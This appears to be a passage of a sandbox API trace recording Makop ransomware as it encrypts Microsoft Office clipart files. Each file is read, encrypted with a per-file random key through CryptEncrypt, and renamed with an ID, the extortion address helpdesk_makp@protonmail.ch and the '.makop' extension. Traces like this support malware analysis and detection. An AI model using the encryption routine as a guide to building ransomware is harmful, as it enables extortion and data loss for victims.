CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.793] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.793] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1bcc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1bcc, lpOverlapped=0x0) returned 1 [0127.794] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bd0, dwBufLen=0x1bd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1bd0) returned 1 [0127.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.794] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1bd0, lpOverlapped=0x0) returned 1 [0127.795] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.795] SetEndOfFile (hFile=0xf0) returned 1 [0127.802] GetProcessHeap () returned 0x48a0000 [0127.802] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.802] GetProcessHeap () returned 0x48a0000 [0127.802] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.802] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.802] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.804] CloseHandle (hObject=0xf0) returned 1 [0127.804] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187849.WMF", cAlternateFileName="")) returned 1 [0127.804] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF") returned 63 [0127.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.806] GetProcessHeap () returned 0x48a0000 [0127.806] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.806] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.806] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0127.813] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.813] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.813] GetProcessHeap () returned 0x48a0000 [0127.813] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.813] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.813] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.813] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.813] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.814] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.814] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.814] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.814] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.814] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.814] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d94, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d94, lpOverlapped=0x0) returned 1 [0127.816] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1da0, dwBufLen=0x1da0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1da0) returned 1 [0127.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.816] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1da0, lpOverlapped=0x0) returned 1 [0127.816] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.817] SetEndOfFile (hFile=0xf0) returned 1 [0127.824] GetProcessHeap () returned 0x48a0000 [0127.824] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.824] GetProcessHeap () returned 0x48a0000 [0127.824] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.824] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.826] CloseHandle (hObject=0xf0) returned 1 [0127.826] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x221c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187851.WMF", cAlternateFileName="")) returned 1 [0127.826] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0127.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.827] GetProcessHeap () returned 0x48a0000 [0127.827] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.827] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.831] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.831] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.831] GetProcessHeap () returned 0x48a0000 [0127.831] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.831] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.831] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.831] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.831] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.832] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.832] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.832] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.832] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.832] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.833] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x221c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x221c, lpOverlapped=0x0) returned 1 [0127.834] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2220, dwBufLen=0x2220 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2220) returned 1 [0127.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.834] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2220, lpOverlapped=0x0) returned 1 [0127.834] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x22f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.835] SetEndOfFile (hFile=0xf0) returned 1 [0127.842] GetProcessHeap () returned 0x48a0000 [0127.842] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.842] GetProcessHeap () returned 0x48a0000 [0127.842] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.842] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.844] CloseHandle (hObject=0xf0) returned 1 [0127.844] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187859.WMF", cAlternateFileName="")) returned 1 [0127.844] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0127.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.845] GetProcessHeap () returned 0x48a0000 [0127.845] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.845] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.845] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.846] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.850] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.850] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.850] GetProcessHeap () returned 0x48a0000 [0127.850] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.850] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.850] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.850] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.850] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.850] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.851] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0127.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0127.851] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0127.851] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.851] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.851] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaac, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xaac, lpOverlapped=0x0) returned 1 [0127.851] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xab0, dwBufLen=0xab0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xab0) returned 1 [0127.852] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.852] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xab0, lpOverlapped=0x0) returned 1 [0127.852] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.852] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.852] SetEndOfFile (hFile=0xf0) returned 1 [0127.860] GetProcessHeap () returned 0x48a0000 [0127.860] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0127.860] GetProcessHeap () returned 0x48a0000 [0127.860] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0127.860] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0127.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0127.862] CloseHandle (hObject=0xf0) returned 1 [0127.862] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187861.WMF", cAlternateFileName="")) returned 1 [0127.862] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF") returned 63 [0127.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0127.866] GetProcessHeap () returned 0x48a0000 [0127.866] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0127.866] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0127.866] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0127.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0127.871] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0127.871] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0127.871] GetProcessHeap () returned 0x48a0000 [0127.871] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0127.872] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0127.872] CryptDestroyKey (hKey=0x48c7128) returned 1 [0127.872] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0127.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0127.872] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0127.872] WriteFile (in: 